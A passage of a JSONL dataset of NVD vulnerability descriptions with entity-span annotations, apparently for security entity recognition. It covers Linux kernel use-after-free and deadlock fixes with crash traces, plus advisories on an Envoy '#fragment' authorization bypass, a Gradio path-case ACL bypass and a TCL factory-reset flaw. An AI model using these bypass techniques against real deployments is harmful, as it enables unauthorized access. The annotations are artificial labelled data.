sys_ioctl+0x32c/0xd8c\n[ 1362.104022] [<80014504>] syscall_common+0x34/0x58\n\nHere LED_TRIGGER_PHY is registering LED triggers during phy_attach\nwhile holding RTNL and then taking triggers_list_lock.\n\n[ 1362.191101] [<806c2640>] register_netdevice_notifier+0x60/0x168      <-- Trying to get lock \"rtnl_mutex\" via rtnl_lock();\n[ 1362.197073] [<805504ac>] netdev_trig_activate+0x194/0x1e4\n[ 1362.202490] [<8054e28c>] led_trigger_set+0x1d4/0x360                 <-- Hold lock \"triggers_list_lock\" by down_read(&triggers_list_lock);\n[ 1362.207511] [<8054eb38>] led_trigger_write+0xd8/0x14c\n[ 1362.212566] [<80381d98>] sysfs_kf_bin_write+0x80/0xbc\n[ 1362.217688] [<8037fcd8>] kernfs_fop_write_iter+0x17c/0x28c\n[ 1362.223174] [<802cbd70>] vfs_write+0x21c/0x3c4\n[ 1362.227712] [<802cc0c4>] ksys_write+0x78/0x12c\n[ 1362.232164] [<80014504>] syscall_common+0x34/0x58\n\nHere LEDS_TRIGGER_NETDEV is being enabled on an LED. It first takes\ntriggers_list_lock and then RTNL. A classical AB-BA deadlock.\n\nphy_led_triggers_registers() does not require the RTNL, it does not\nmake any calls into the network stack which require protection. There\nis also no requirement the PHY has been attached to a MAC, the\ntriggers only make use of phydev state. This allows the call to\nphy_led_triggers_registers() to be placed elsewhere. PHY probe() and\nrelease() don't hold RTNL, so solving the AB-BA deadlock.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23368"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: flower: protect fl_walk() with rcu\n\nPatch that refactored fl_walk() to use idr_for_each_entry_continue_ul()\nalso removed rcu protection of individual filters which causes following\nuse-after-free when filter is deleted concurrently. Fix fl_walk() to obtain\nrcu read lock while iterating and taking the filter reference and temporary\nrelease the lock while calling arg->fn() callback that can sleep.\n\nKASAN trace:\n\n[  352.773640] ==================================================================\n[  352.775041] BUG: KASAN: use-after-free in fl_walk+0x159/0x240 [cls_flower]\n[  352.776304] Read of size 4 at addr ffff8881c8251480 by task tc/2987\n\n[  352.777862] CPU: 3 PID: 2987 Comm: tc Not tainted 5.15.0-rc2+ #2\n[  352.778980] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[  352.781022] Call Trace:\n[  352.781573]  dump_stack_lvl+0x46/0x5a\n[  352.782332]  print_address_description.constprop.0+0x1f/0x140\n[  352.783400]  ? fl_walk+0x159/0x240 [cls_flower]\n[  352.784292]  ? fl_walk+0x159/0x240 [cls_flower]\n[  352.785138]  kasan_report.cold+0x83/0xdf\n[  352.785851]  ? fl_walk+0x159/0x240 [cls_flower]\n[  352.786587]  kasan_check_range+0x145/0x1a0\n[  352.787337]  fl_walk+0x159/0x240 [cls_flower]\n[  352.788163]  ? fl_put+0x10/0x10 [cls_flower]\n[  352.789007]  ? __mutex_unlock_slowpath.constprop.0+0x220/0x220\n[  352.790102]  tcf_chain_dump+0x231/0x450\n[  352.790878]  ? tcf_chain_tp_delete_empty+0x170/0x170\n[  352.791833]  ? __might_sleep+0x2e/0xc0\n[  352.792594]  ? tfilter_notify+0x170/0x170\n[  352.793400]  ? __mutex_unlock_slowpath.constprop.0+0x220/0x220\n[  352.794477]  tc_dump_tfilter+0x385/0x4b0\n[  352.795262]  ? tc_new_tfilter+0x1180/0x1180\n[  352.796103]  ? __mod_node_page_state+0x1f/0xc0\n[  352.796974]  ? __build_skb_around+0x10e/0x130\n[  352.797826]  netlink_dump+0x2c0/0x560\n[  352.798563]  ? netlink_getsockopt+0x430/0x430\n[  352.799433]  ? __mutex_unlock_slowpath.constprop.0+0x220/0x220\n[  352.800542]  __netlink_dump_start+0x356/0x440\n[  352.801397]  rtnetlink_rcv_msg+0x3ff/0x550\n[  352.802190]  ? tc_new_tfilter+0x1180/0x1180\n[  352.802872]  ? rtnl_calcit.isra.0+0x1f0/0x1f0\n[  352.803668]  ? tc_new_tfilter+0x1180/0x1180\n[  352.804344]  ? _copy_from_iter_nocache+0x800/0x800\n[  352.805202]  ? kasan_set_track+0x1c/0x30\n[  352.805900]  netlink_rcv_skb+0xc6/0x1f0\n[  352.806587]  ? rht_deferred_worker+0x6b0/0x6b0\n[  352.807455]  ? rtnl_calcit.isra.0+0x1f0/0x1f0\n[  352.808324]  ? netlink_ack+0x4d0/0x4d0\n[  352.809086]  ? netlink_deliver_tap+0x62/0x3d0\n[  352.809951]  netlink_unicast+0x353/0x480\n[  352.810744]  ? netlink_attachskb+0x430/0x430\n[  352.811586]  ? __alloc_skb+0xd7/0x200\n[  352.812349]  netlink_sendmsg+0x396/0x680\n[  352.813132]  ? netlink_unicast+0x480/0x480\n[  352.813952]  ? __import_iovec+0x192/0x210\n[  352.814759]  ? netlink_unicast+0x480/0x480\n[  352.815580]  sock_sendmsg+0x6c/0x80\n[  352.816299]  ____sys_sendmsg+0x3a5/0x3c0\n[  352.817096]  ? kernel_sendmsg+0x30/0x30\n[  352.817873]  ? __ia32_sys_recvmmsg+0x150/0x150\n[  352.818753]  ___sys_sendmsg+0xd8/0x140\n[  352.819518]  ? sendmsg_copy_msghdr+0x110/0x110\n[  352.820402]  ? ___sys_recvmsg+0xf4/0x1a0\n[  352.821110]  ? __copy_msghdr_from_user+0x260/0x260\n[  352.821934]  ? _raw_spin_lock+0x81/0xd0\n[  352.822680]  ? __handle_mm_fault+0xef3/0x1b20\n[  352.823549]  ? rb_insert_color+0x2a/0x270\n[  352.824373]  ? copy_page_range+0x16b0/0x16b0\n[  352.825209]  ? perf_event_update_userpage+0x2d0/0x2d0\n[  352.826190]  ? __fget_light+0xd9/0xf0\n[  352.826941]  __sys_sendmsg+0xb3/0x130\n[  352.827613]  ? __sys_sendmsg_sock+0x20/0x20\n[  352.828377]  ? do_user_addr_fault+0x2c5/0x8a0\n[  352.829184]  ? fpregs_assert_state_consistent+0x52/0x60\n[  352.830001]  ? exit_to_user_mode_prepare+0x32/0x160\n[  352.830845]  do_syscall_64+0x35/0x80\n[  352.831445]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[  352.832331] RIP: 0033:0x7f7bee973c17\n[ \n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[867, 911]], "FILEPATH: /01/2014": [[914, 922]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[825, 829]], "VULNERABILITY: use-after-free": [[262, 276], [604, 618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47402"}}
{"text": "Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions envoy incorrectly handled a URI '#fragment' element as part of the path element. Envoy is configured with an RBAC filter for authorization or similar mechanism with an explicit case of a final \"/admin\" path element, or is using a negative assertion with final path element of \"/admin\". The client sends request to \"/app1/admin#foo\". In Envoy prior to 1.18.0, or 1.18.0+ configured with path_normalization=false. Envoy treats fragment as a suffix of the query string when present, or as a suffix of the path when query string is absent, so it evaluates the final path element as \"/admin#foo\" and mismatches with the configured \"/admin\" path element. In Envoy 1.18.0+ configured with path_normalization=true. Envoy transforms this to /app1/admin%23foo and mismatches with the configured /admin prefix. The resulting URI is sent to the next server-agent with the offending \"#foo\" fragment which violates RFC3986 or with the nonsensical \"%23foo\" text appended. A specifically constructed request with URI containing '#fragment' element delivered by an untrusted client in the presence of path based request authorization resulting in escalation of Privileges when path based request authorization extensions. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes that removes fragment from URI path in incoming requests.", "spans": {"FILEPATH: /app1/admin": [[449, 460], [866, 877]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32779"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbrd: defer automatic disk creation until module initialization succeeds\n\nMy colleague Wupeng found the following problems during fault injection:\n\nBUG: unable to handle page fault for address: fffffbfff809d073\nPGD 6e648067 P4D 123ec8067 PUD 123ec4067 PMD 100e38067 PTE 0\nOops: Oops: 0000 [#1] PREEMPT SMP KASAN NOPTI\nCPU: 5 UID: 0 PID: 755 Comm: modprobe Not tainted 6.12.0-rc3+ #17\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.16.1-2.fc37 04/01/2014\nRIP: 0010:__asan_load8+0x4c/0xa0\n...\nCall Trace:\n <TASK>\n blkdev_put_whole+0x41/0x70\n bdev_release+0x1a3/0x250\n blkdev_release+0x11/0x20\n __fput+0x1d7/0x4a0\n task_work_run+0xfc/0x180\n syscall_exit_to_user_mode+0x1de/0x1f0\n do_syscall_64+0x6b/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nloop_init() is calling loop_add() after __register_blkdev() succeeds and\nis ignoring disk_add() failure from loop_add(), for loop_add() failure\nis not fatal and successfully created disks are already visible to\nbdev_open().\n\nbrd_init() is currently calling brd_alloc() before __register_blkdev()\nsucceeds and is releasing successfully created disks when brd_init()\nreturns an error. This can cause UAF for the latter two case:\n\ncase 1:\n    T1:\nmodprobe brd\n  brd_init\n    brd_alloc(0) // success\n      add_disk\n        disk_scan_partitions\n          bdev_file_open_by_dev // alloc file\n          fput // won't free until back to userspace\n    brd_alloc(1) // failed since mem alloc error inject\n  // error path for modprobe will release code segment\n  // back to userspace\n  __fput\n    blkdev_release\n      bdev_release\n        blkdev_put_whole\n          bdev->bd_disk->fops->release // fops is freed now, UAF!\n\ncase 2:\n    T1:                            T2:\nmodprobe brd\n  brd_init\n    brd_alloc(0) // success\n                                   open(/dev/ram0)\n    brd_alloc(1) // fail\n  // error path for modprobe\n\n                                   close(/dev/ram0)\n                                   ...\n                                   /* UAF! */\n                                   bdev->bd_disk->fops->release\n\nFix this problem by following what loop_init() does. Besides,\nreintroduce brd_devices_mutex to help serialize modifications to\nbrd_list.", "spans": {"FILEPATH: /01/2014": [[528, 536]], "FILEPATH: /dev/ram0": [[1879, 1888], [1986, 1995]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[467, 471]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56693"}}
{"text": "Certain software builds for the TCL 20XE Android device contain a vulnerable, pre-installed app with a package name of com.tct.gcs.hiddenmenuproxy (versionCode='2', versionName='v11.0.1.0.0201.0') that allows local third-party apps to programmatically perform a factory reset due to inadequate access control. No permissions or special privileges are necessary to exploit the vulnerability in the com.tct.gcs.hiddenmenuproxy app. No user interaction is required beyond installing and running a third-party app. The software build fingerprints for each confirmed vulnerable build are as follows: TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB7I-0:user/release-keys and TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB83-0:user/release-keys. This malicious app sends a broadcast intent to the exported com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver receiver component, which initiates a programmatic factory reset.", "spans": {"FILEPATH: /5087Z_BO/Doha_TMO": [[598, 616], [668, 686]], "FILEPATH: /RP1A.200720.011/PB7I-0": [[619, 642]], "FILEPATH: /RP1A.200720.011/PB83-0": [[689, 712]], "SYSTEM: Android": [[41, 48]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38292"}}
{"text": "Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.4 and 3.0.5, decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key. This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected. This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common. Panics can lead to denial of service. This vulnerability is fixed in 4.1.4 and 3.0.5.", "spans": {"FILEPATH: key_wrap.go": [[514, 525]], "VULNERABILITY: denial of service": [[1170, 1187]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34986"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Forcibly leave nested virt when SMM state is toggled\n\nForcibly leave nested virtualization operation if userspace toggles SMM\nstate via KVM_SET_VCPU_EVENTS or KVM_SYNC_X86_EVENTS.  If userspace\nforces the vCPU out of SMM while it's post-VMXON and then injects an SMI,\nvmx_enter_smm() will overwrite vmx->nested.smm.vmxon and end up with both\nvmxon=false and smm.vmxon=false, but all other nVMX state allocated.\n\nDon't attempt to gracefully handle the transition as (a) most transitions\nare nonsencial, e.g. forcing SMM while L2 is running, (b) there isn't\nsufficient information to handle all transitions, e.g. SVM wants access\nto the SMRAM save state, and (c) KVM_SET_VCPU_EVENTS must precede\nKVM_SET_NESTED_STATE during state restore as the latter disallows putting\nthe vCPU into L2 if SMM is active, and disallows tagging the vCPU as\nbeing post-VMXON in SMM if SMM is not active.\n\nAbuse of KVM_SET_VCPU_EVENTS manifests as a WARN and memory leak in nVMX\ndue to failure to free vmcs01's shadow VMCS, but the bug goes far beyond\njust a memory leak, e.g. toggling SMM on while L2 is active puts the vCPU\nin an architecturally impossible state.\n\n  WARNING: CPU: 0 PID: 3606 at free_loaded_vmcs arch/x86/kvm/vmx/vmx.c:2665 [inline]\n  WARNING: CPU: 0 PID: 3606 at free_loaded_vmcs+0x158/0x1a0 arch/x86/kvm/vmx/vmx.c:2656\n  Modules linked in:\n  CPU: 1 PID: 3606 Comm: syz-executor725 Not tainted 5.17.0-rc1-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\n  RIP: 0010:free_loaded_vmcs arch/x86/kvm/vmx/vmx.c:2665 [inline]\n  RIP: 0010:free_loaded_vmcs+0x158/0x1a0 arch/x86/kvm/vmx/vmx.c:2656\n  Code: <0f> 0b eb b3 e8 8f 4d 9f 00 e9 f7 fe ff ff 48 89 df e8 92 4d 9f 00\n  Call Trace:\n   <TASK>\n   kvm_arch_vcpu_destroy+0x72/0x2f0 arch/x86/kvm/x86.c:11123\n   kvm_vcpu_destroy arch/x86/kvm/../../../virt/kvm/kvm_main.c:441 [inline]\n   kvm_destroy_vcpus+0x11f/0x290 arch/x86/kvm/../../../virt/kvm/kvm_main.c:460\n   kvm_free_vcpus arch/x86/kvm/x86.c:11564 [inline]\n   kvm_arch_destroy_vm+0x2e8/0x470 arch/x86/kvm/x86.c:11676\n   kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:1217 [inline]\n   kvm_put_kvm+0x4fa/0xb00 arch/x86/kvm/../../../virt/kvm/kvm_main.c:1250\n   kvm_vm_release+0x3f/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:1273\n   __fput+0x286/0x9f0 fs/file_table.c:311\n   task_work_run+0xdd/0x1a0 kernel/task_work.c:164\n   exit_task_work include/linux/task_work.h:32 [inline]\n   do_exit+0xb29/0x2a30 kernel/exit.c:806\n   do_group_exit+0xd2/0x2f0 kernel/exit.c:935\n   get_signal+0x4b0/0x28c0 kernel/signal.c:2862\n   arch_do_signal_or_restart+0x2a9/0x1c40 arch/x86/kernel/signal.c:868\n   handle_signal_work kernel/entry/common.c:148 [inline]\n   exit_to_user_mode_loop kernel/entry/common.c:172 [inline]\n   exit_to_user_mode_prepare+0x17d/0x290 kernel/entry/common.c:207\n   __syscall_exit_to_user_mode_work kernel/entry/common.c:289 [inline]\n   syscall_exit_to_user_mode+0x19/0x60 kernel/entry/common.c:300\n   do_syscall_64+0x42/0xb0 arch/x86/entry/common.c:86\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n   </TASK>", "spans": {"FILEPATH: /x86/kvm/vmx/vmx.c": [[1276, 1294], [1373, 1391], [1620, 1638], [1698, 1716]], "FILEPATH: /01/2011": [[1578, 1586]], "FILEPATH: /x86/kvm/x86.c": [[1862, 1876], [2059, 2073], [2128, 2142]], "FILEPATH: /x86/kvm/../../../virt/kvm/kvm_main.c": [[1907, 1944], [1995, 2032], [2171, 2208], [2254, 2291], [2329, 2366]], "FILEPATH: /linux/task_work.h": [[2490, 2508]], "FILEPATH: /x86/kernel/signal.c": [[2703, 2723]], "FILEPATH: /entry/common.c": [[2756, 2771], [2817, 2832], [2893, 2908], [2955, 2970], [3029, 3044]], "FILEPATH: /x86/entry/common.c": [[3080, 3099]], "FILEPATH: file_table.c": [[2397, 2409]], "FILEPATH: task_work.c": [[2449, 2460]], "FILEPATH: exit.c": [[2552, 2558], [2598, 2604]], "FILEPATH: signal.c": [[2643, 2651]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]], "ORGANIZATION: Google": [[1512, 1518], [1519, 1525], [1541, 1547], [1569, 1575]], "VULNERABILITY: memory leak": [[1016, 1027], [1116, 1127]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48763"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix use-after-free in smb2_query_info_compound()\n\nThe following UAF was triggered when running fstests generic/072 with\nKASAN enabled against Windows Server 2022 and mount options\n'multichannel,max_channels=2,vers=3.1.1,mfsymlinks,noperm'\n\n  BUG: KASAN: slab-use-after-free in smb2_query_info_compound+0x423/0x6d0 [cifs]\n  Read of size 8 at addr ffff888014941048 by task xfs_io/27534\n\n  CPU: 0 PID: 27534 Comm: xfs_io Not tainted 6.6.0-rc7 #1\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS\n  rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014\n  Call Trace:\n   dump_stack_lvl+0x4a/0x80\n   print_report+0xcf/0x650\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? __phys_addr+0x46/0x90\n   kasan_report+0xda/0x110\n   ? smb2_query_info_compound+0x423/0x6d0 [cifs]\n   ? smb2_query_info_compound+0x423/0x6d0 [cifs]\n   smb2_query_info_compound+0x423/0x6d0 [cifs]\n   ? __pfx_smb2_query_info_compound+0x10/0x10 [cifs]\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? __stack_depot_save+0x39/0x480\n   ? kasan_save_stack+0x33/0x60\n   ? kasan_set_track+0x25/0x30\n   ? ____kasan_slab_free+0x126/0x170\n   smb2_queryfs+0xc2/0x2c0 [cifs]\n   ? __pfx_smb2_queryfs+0x10/0x10 [cifs]\n   ? __pfx___lock_acquire+0x10/0x10\n   smb311_queryfs+0x210/0x220 [cifs]\n   ? __pfx_smb311_queryfs+0x10/0x10 [cifs]\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? __lock_acquire+0x480/0x26c0\n   ? lock_release+0x1ed/0x640\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? do_raw_spin_unlock+0x9b/0x100\n   cifs_statfs+0x18c/0x4b0 [cifs]\n   statfs_by_dentry+0x9b/0xf0\n   fd_statfs+0x4e/0xb0\n   __do_sys_fstatfs+0x7f/0xe0\n   ? __pfx___do_sys_fstatfs+0x10/0x10\n   ? srso_alias_return_thunk+0x5/0x7f\n   ? lockdep_hardirqs_on_prepare+0x136/0x200\n   ? srso_alias_return_thunk+0x5/0x7f\n   do_syscall_64+0x3f/0x90\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\n  Allocated by task 27534:\n   kasan_save_stack+0x33/0x60\n   kasan_set_track+0x25/0x30\n   __kasan_kmalloc+0x8f/0xa0\n   open_cached_dir+0x71b/0x1240 [cifs]\n   smb2_query_info_compound+0x5c3/0x6d0 [cifs]\n   smb2_queryfs+0xc2/0x2c0 [cifs]\n   smb311_queryfs+0x210/0x220 [cifs]\n   cifs_statfs+0x18c/0x4b0 [cifs]\n   statfs_by_dentry+0x9b/0xf0\n   fd_statfs+0x4e/0xb0\n   __do_sys_fstatfs+0x7f/0xe0\n   do_syscall_64+0x3f/0x90\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\n  Freed by task 27534:\n   kasan_save_stack+0x33/0x60\n   kasan_set_track+0x25/0x30\n   kasan_save_free_info+0x2b/0x50\n   ____kasan_slab_free+0x126/0x170\n   slab_free_freelist_hook+0xd0/0x1e0\n   __kmem_cache_free+0x9d/0x1b0\n   open_cached_dir+0xff5/0x1240 [cifs]\n   smb2_query_info_compound+0x5c3/0x6d0 [cifs]\n   smb2_queryfs+0xc2/0x2c0 [cifs]\n\nThis is a race between open_cached_dir() and cached_dir_lease_break()\nwhere the cache entry for the open directory handle receives a lease\nbreak while creating it.  And before returning from open_cached_dir(),\nwe put the last reference of the new @cfid because of\n!@cfid->has_lease.\n\nBesides the UAF, while running xfstests a lot of missed lease breaks\nhave been noticed in tests that run several concurrent statfs(2) calls\non those cached fids\n\n  CIFS: VFS: \\\\w22-root1.gandalf.test No task to wake, unknown frame...\n  CIFS: VFS: \\\\w22-root1.gandalf.test Cmd: 18 Err: 0x0 Flags: 0x1...\n  CIFS: VFS: \\\\w22-root1.gandalf.test smb buf 00000000715bfe83 len 108\n  CIFS: VFS: Dump pending requests:\n  CIFS: VFS: \\\\w22-root1.gandalf.test No task to wake, unknown frame...\n  CIFS: VFS: \\\\w22-root1.gandalf.test Cmd: 18 Err: 0x0 Flags: 0x1...\n  CIFS: VFS: \\\\w22-root1.gandalf.test smb buf 000000005aa7316e len 108\n  ...\n\nTo fix both, in open_cached_dir() ensure that @cfid->has_lease is set\nright before sending out compounded request so that any potential\nlease break will be get processed by demultiplex thread while we're\nstill caching @cfid.  And, if open failed for some reason, re-check\n@cfid->has_lease to decide whether or not put lease reference.", "spans": {"DOMAIN: rel-1.16.2-3-gd478f380-rebuilt.opensuse.org": [[586, 629]], "FILEPATH: /01/2014": [[632, 640]], "SYSTEM: Windows Server": [[224, 238]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[542, 546]], "VULNERABILITY: use-after-free": [[86, 100], [341, 355]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52751"}}
{"text": "Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected. This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments. This issue has been addressed in release version 5.6.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: Windows": [[450, 457]], "SYSTEM: Python": [[25, 31], [147, 153]], "SYSTEM: macOS": [[462, 467]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23042"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix hang during unmount when stopping a space reclaim worker\n\nOften when running generic/562 from fstests we can hang during unmount,\nresulting in a trace like this:\n\n  Sep 07 11:52:00 debian9 unknown: run fstests generic/562 at 2022-09-07 11:52:00\n  Sep 07 11:55:32 debian9 kernel: INFO: task umount:49438 blocked for more than 120 seconds.\n  Sep 07 11:55:32 debian9 kernel:       Not tainted 6.0.0-rc2-btrfs-next-122 #1\n  Sep 07 11:55:32 debian9 kernel: \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n  Sep 07 11:55:32 debian9 kernel: task:umount          state:D stack:    0 pid:49438 ppid: 25683 flags:0x00004000\n  Sep 07 11:55:32 debian9 kernel: Call Trace:\n  Sep 07 11:55:32 debian9 kernel:  <TASK>\n  Sep 07 11:55:32 debian9 kernel:  __schedule+0x3c8/0xec0\n  Sep 07 11:55:32 debian9 kernel:  ? rcu_read_lock_sched_held+0x12/0x70\n  Sep 07 11:55:32 debian9 kernel:  schedule+0x5d/0xf0\n  Sep 07 11:55:32 debian9 kernel:  schedule_timeout+0xf1/0x130\n  Sep 07 11:55:32 debian9 kernel:  ? lock_release+0x224/0x4a0\n  Sep 07 11:55:32 debian9 kernel:  ? lock_acquired+0x1a0/0x420\n  Sep 07 11:55:32 debian9 kernel:  ? trace_hardirqs_on+0x2c/0xd0\n  Sep 07 11:55:32 debian9 kernel:  __wait_for_common+0xac/0x200\n  Sep 07 11:55:32 debian9 kernel:  ? usleep_range_state+0xb0/0xb0\n  Sep 07 11:55:32 debian9 kernel:  __flush_work+0x26d/0x530\n  Sep 07 11:55:32 debian9 kernel:  ? flush_workqueue_prep_pwqs+0x140/0x140\n  Sep 07 11:55:32 debian9 kernel:  ? trace_clock_local+0xc/0x30\n  Sep 07 11:55:32 debian9 kernel:  __cancel_work_timer+0x11f/0x1b0\n  Sep 07 11:55:32 debian9 kernel:  ? close_ctree+0x12b/0x5b3 [btrfs]\n  Sep 07 11:55:32 debian9 kernel:  ? __trace_bputs+0x10b/0x170\n  Sep 07 11:55:32 debian9 kernel:  close_ctree+0x152/0x5b3 [btrfs]\n  Sep 07 11:55:32 debian9 kernel:  ? evict_inodes+0x166/0x1c0\n  Sep 07 11:55:32 debian9 kernel:  generic_shutdown_super+0x71/0x120\n  Sep 07 11:55:32 debian9 kernel:  kill_anon_super+0x14/0x30\n  Sep 07 11:55:32 debian9 kernel:  btrfs_kill_super+0x12/0x20 [btrfs]\n  Sep 07 11:55:32 debian9 kernel:  deactivate_locked_super+0x2e/0xa0\n  Sep 07 11:55:32 debian9 kernel:  cleanup_mnt+0x100/0x160\n  Sep 07 11:55:32 debian9 kernel:  task_work_run+0x59/0xa0\n  Sep 07 11:55:32 debian9 kernel:  exit_to_user_mode_prepare+0x1a6/0x1b0\n  Sep 07 11:55:32 debian9 kernel:  syscall_exit_to_user_mode+0x16/0x40\n  Sep 07 11:55:32 debian9 kernel:  do_syscall_64+0x48/0x90\n  Sep 07 11:55:32 debian9 kernel:  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n  Sep 07 11:55:32 debian9 kernel: RIP: 0033:0x7fcde59a57a7\n  Sep 07 11:55:32 debian9 kernel: RSP: 002b:00007ffe914217c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000a6\n  Sep 07 11:55:32 debian9 kernel: RAX: 0000000000000000 RBX: 00007fcde5ae8264 RCX: 00007fcde59a57a7\n  Sep 07 11:55:32 debian9 kernel: RDX: 0000000000000000 RSI: 0000000000000000 RDI: 000055b57556cdd0\n  Sep 07 11:55:32 debian9 kernel: RBP: 000055b57556cba0 R08: 0000000000000000 R09: 00007ffe91420570\n  Sep 07 11:55:32 debian9 kernel: R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\n  Sep 07 11:55:32 debian9 kernel: R13: 000055b57556cdd0 R14: 000055b57556ccb8 R15: 0000000000000000\n  Sep 07 11:55:32 debian9 kernel:  </TASK>\n\nWhat happens is the following:\n\n1) The cleaner kthread tries to start a transaction to delete an unused\n   block group, but the metadata reservation can not be satisfied right\n   away, so a reservation ticket is created and it starts the async\n   metadata reclaim task (fs_info->async_reclaim_work);\n\n2) Writeback for all the filler inodes with an i_size of 2K starts\n   (generic/562 creates a lot of 2K files with the goal of filling\n   metadata space). We try to create an inline extent for them, but we\n   fail when trying to insert the inline extent with -ENOSPC (at\n   cow_file_range_inline()) - since this is not critical, we fallback\n   to non-inline mode (back to cow_file_range()), reserve extents\n---truncated---", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[542, 581]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48664"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntty: serial: imx: disable Ageing Timer interrupt request irq\n\nThere maybe pending USR interrupt before requesting irq, however\nuart_add_one_port has not executed, so there will be kernel panic:\n[    0.795668] Unable to handle kernel NULL pointer dereference at virtual addre\nss 0000000000000080\n[    0.802701] Mem abort info:\n[    0.805367]   ESR = 0x0000000096000004\n[    0.808950]   EC = 0x25: DABT (current EL), IL = 32 bits\n[    0.814033]   SET = 0, FnV = 0\n[    0.816950]   EA = 0, S1PTW = 0\n[    0.819950]   FSC = 0x04: level 0 translation fault\n[    0.824617] Data abort info:\n[    0.827367]   ISV = 0, ISS = 0x00000004\n[    0.831033]   CM = 0, WnR = 0\n[    0.833866] [0000000000000080] user address but active_mm is swapper\n[    0.839951] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n[    0.845953] Modules linked in:\n[    0.848869] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 6.1.1+g56321e101aca #1\n[    0.855617] Hardware name: Freescale i.MX8MP EVK (DT)\n[    0.860452] pstate: 000000c5 (nzcv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    0.867117] pc : __imx_uart_rxint.constprop.0+0x11c/0x2c0\n[    0.872283] lr : imx_uart_int+0xf8/0x1ec\n\nThe issue only happends in the inmate linux when Jailhouse hypervisor\nenabled. The test procedure is:\nwhile true; do\n\tjailhouse enable imx8mp.cell\n\tjailhouse cell linux xxxx\n\tsleep 10\n\tjailhouse cell destroy 1\n\tjailhouse disable\n\tsleep 5\ndone\n\nAnd during the upper test, press keys to the 2nd linux console.\nWhen `jailhouse cell destroy 1`, the 2nd linux has no chance to put\nthe uart to a quiese state, so USR1/2 may has pending interrupts. Then\nwhen `jailhosue cell linux xx` to start 2nd linux again, the 